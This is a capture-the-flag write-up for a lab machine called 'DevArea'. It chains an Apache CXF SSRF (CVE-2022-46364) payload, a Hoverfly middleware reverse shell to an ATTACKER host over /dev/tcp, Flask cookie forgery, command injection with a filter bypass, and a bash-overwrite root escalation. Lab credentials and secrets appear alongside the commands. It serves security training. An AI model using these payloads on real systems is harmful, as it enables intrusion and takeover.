Machine Info
- Name: DevArea
- IP: 10.129.244.208
- OS: Linux (Ubuntu 24.04)
- Difficulty: Medium
- Key Skills: Apache CXF SSRF (CVE-2022-46364), Hoverfly Middleware RCE, Flask Session Forgery, Command Injection Filter Bypass, Bash Path Hijacking
Summary
DevArea is a Linux machine running six services - FTP (anonymous login), SSH, an Apache web server hosting a static hiring platform, an Apache CXF SOAP service on Jetty (port 8080), and Hoverfly proxy/dashboard (ports 8500/8888). Anonymous FTP leaks an employee-service.jar that reveals Apache CXF 3.2.14 - vulnerable to CVE-2022-46364 (SSRF via MTOM XOP:Include). The SSRF reads local files as dev_ryan, including the Hoverfly systemd service file which contains admin credentials. With Hoverfly admin access, the middleware feature is abused for remote code execution, yielding a reverse shell as dev_ryan. Privilege escalation to syswatch uses a leaked Flask secret key from /etc/syswatch.env to forge session cookies for the internal SysWatch web GUI (port 7777), which has a command injection vulnerability in its service-status endpoint. The final escalation to root exploits a world-writable /usr/bin/bash binary - overwriting it with a SUID payload and triggering execution via sudo /opt/syswatch/syswatch.sh.
Attack Chain:
FTP anon -> employee-service.jar (CXF 3.2.14) -> CVE-2022-46364 SSRF -> read Hoverfly creds -> Hoverfly middleware RCE -> dev_ryan -> Flask session forgery + command injection -> syswatch -> bash path hijack (world-writable /usr/bin/bash) -> root
Reconnaissance
Port Scan
nmap -sC -sV -Pn --min-rate 1000 10.129.244.208
Key open ports:
- 21/FTP - vsftpd 3.0.5, anonymous login allowed
- 22/SSH - OpenSSH 9.6p1 Ubuntu
- 80/HTTP - Apache 2.4.58, redirects to
devarea.htb - 8080/HTTP - Jetty 9.4.27 (Apache CXF SOAP service)
- 8500/HTTP - Hoverfly proxy (Go net/http)
- 8888/HTTP - Hoverfly Dashboard
FTP Enumeration
Anonymous FTP reveals a pub/ directory containing employee-service.jar (6.4MB):
curl -o employee-service.jar "ftp://10.129.244.208/pub/employee-service.jar" --user "ftp:ftp"
JAR Analysis
Extracting the JAR reveals an Apache CXF SOAP application:
jar tf employee-service.jar | grep htb
# htb/devarea/ServerStarter.class
# htb/devarea/EmployeeService.class
# htb/devarea/EmployeeServiceImpl.class
# htb/devarea/Report.class
The pom.xml confirms Apache CXF 3.2.14:
<cxf.version>3.2.14</cxf.version>
The ServerStarter class starts a JAX-WS service at http://0.0.0.0:8080/employeeservice with a submitReport operation accepting Report objects (employeeName, department, content, confidential).
Foothold - CVE-2022-46364 (SSRF via MTOM XOP:Include)
Apache CXF 3.2.14 is vulnerable to CVE-2022-46364 - an SSRF via MTOM XOP:Include references. When a SOAP request includes an xop:Include element with an href attribute, CXF fetches the referenced URL and includes the response in the SOAP reply (base64-encoded).
Confirming SSRF
curl -s -X POST 'http://10.129.244.208:8080/employeeservice' \
-H 'Content-Type: multipart/related; type="application/xop+xml"; \
boundary="uuid:testboundary"; start="<[email protected]>"; \
start-info="text/xml"' \
--data-binary '--uuid:testboundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <[email protected]>
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:dev="http://devarea.htb/">
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>false</confidential>
<content>
<xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
href="file:///etc/passwd"/>
</content>
<department>IT</department>
<employeeName>test</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--uuid:testboundary--'
The response contains /etc/passwd base64-encoded, revealing user dev_ryan with a bash shell.
Reading Hoverfly Service Configuration
Using the SSRF to read systemd service files:
# file:///etc/systemd/system/hoverfly.service
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU \
-listen-on-host 0.0.0.0
Hoverfly credentials: admin:O7IJ27MyyXiU
Shell as dev_ryan - Hoverfly Middleware RCE
Authenticating to Hoverfly
curl -s -X POST 'http://10.129.244.208:8888/api/token-auth' \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"O7IJ27MyyXiU"}'
# Returns JWT token
Setting Malicious Middleware
Hoverfly’s middleware feature executes a script for every proxied request. Setting it to a reverse shell:
TOKEN="<jwt_token>"
curl -s -H "Authorization: Bearer $TOKEN" \
-X PUT 'http://10.129.244.208:8888/api/v2/hoverfly/middleware' \
-H 'Content-Type: application/json' \
-d '{"binary":"/bin/bash","script":"#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER/4444 0>&1"}'
The middleware validation test triggers execution immediately, providing a reverse shell as dev_ryan.
dev_ryan@devarea:~$ cat /home/dev_ryan/user.txt
c46c48a22b8768623f3d76967639ff46
Lateral Movement - Flask Session Forgery + Command Injection
Discovering the SysWatch Web GUI
Internal port enumeration reveals a Flask web app on port 7777:
ss -tlnp | grep 7777
# 127.0.0.1:7777 - SysWatch Web GUI
The SSRF reads /etc/syswatch.env:
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
Forging Flask Session Cookie
Using flask-unsign with the leaked secret key:
flask-unsign --sign --cookie "{'user_id': 'admin'}" \
--secret 'f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725'
Command Injection in Service Status
The SysWatch dashboard has a “Check System Service Status” feature at /service-status. The server-side filter blocks /, ;, >, <, &, and uppercase letters - but allows $, (, ), |, spaces, and quotes.
The endpoint passes user input to subprocess.run(shell=True):
res = subprocess.run(
[f"systemctl status --no-pager {service}"],
shell=True, capture_output=True, text=True, timeout=10
)
Confirming injection:
curl -X POST -b "session=<forged_cookie>" \
--data-urlencode 'service=$(id)' \
'http://127.0.0.1:7777/service-status'
# Returns: uid=984(syswatch) gid=984(syswatch)
Using printf with octal escapes bypasses the / filter:
# Copy bash as syswatch user
'service=$(cp $(printf "\057bin\057bash") $(printf "\057var\057tmp\057rb"))'
# Set SUID
'service=$(chmod 4755 $(printf "\057var\057tmp\057rb"))'
This gives a SUID shell as syswatch, enabling read access to /opt/syswatch/ (blocked for dev_ryan by ACL).
Privilege Escalation - Bash Path Hijacking
Sudo Entry
sudo -l
# (root) NOPASSWD: /opt/syswatch/syswatch.sh,
# !/opt/syswatch/syswatch.sh web-stop,
# !/opt/syswatch/syswatch.sh web-restart
The Vulnerability
Reading syswatch.sh (via syswatch SUID shell) reveals it calls bash "$fullpath" to execute plugins. The critical finding:
ls -la /usr/bin/bash
-rwxrwxrwx 1 root root 1446024 Mar 31 2024 /usr/bin/bash
/usr/bin/bash is world-writable. Any user can replace the bash binary.
Exploitation
Switch to dash to avoid breaking the current session, kill remaining bash processes, then overwrite:
# Switch to dash
exec /bin/dash
# Kill all bash processes (ETXTBSY prevention)
kill -9 $(pgrep bash)
# Overwrite bash with SUID payload
echo '#!/bin/dash' > /usr/bin/bash
echo 'cp /bin/dash /var/tmp/rootdash' >> /usr/bin/bash
echo 'chmod 4755 /var/tmp/rootdash' >> /usr/bin/bash
# Trigger via sudo (runs our fake bash as root)
sudo /opt/syswatch/syswatch.sh --version
# Root shell
/var/tmp/rootdash -p
# uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root)
cat /root/root.txt
f4088322ab557fd95e8fbe4940d42f0e
Restore the original bash binary afterward:
/var/tmp/rootdash -p -c 'cp /tmp/bash_backup /usr/bin/bash; chmod 755 /usr/bin/bash'
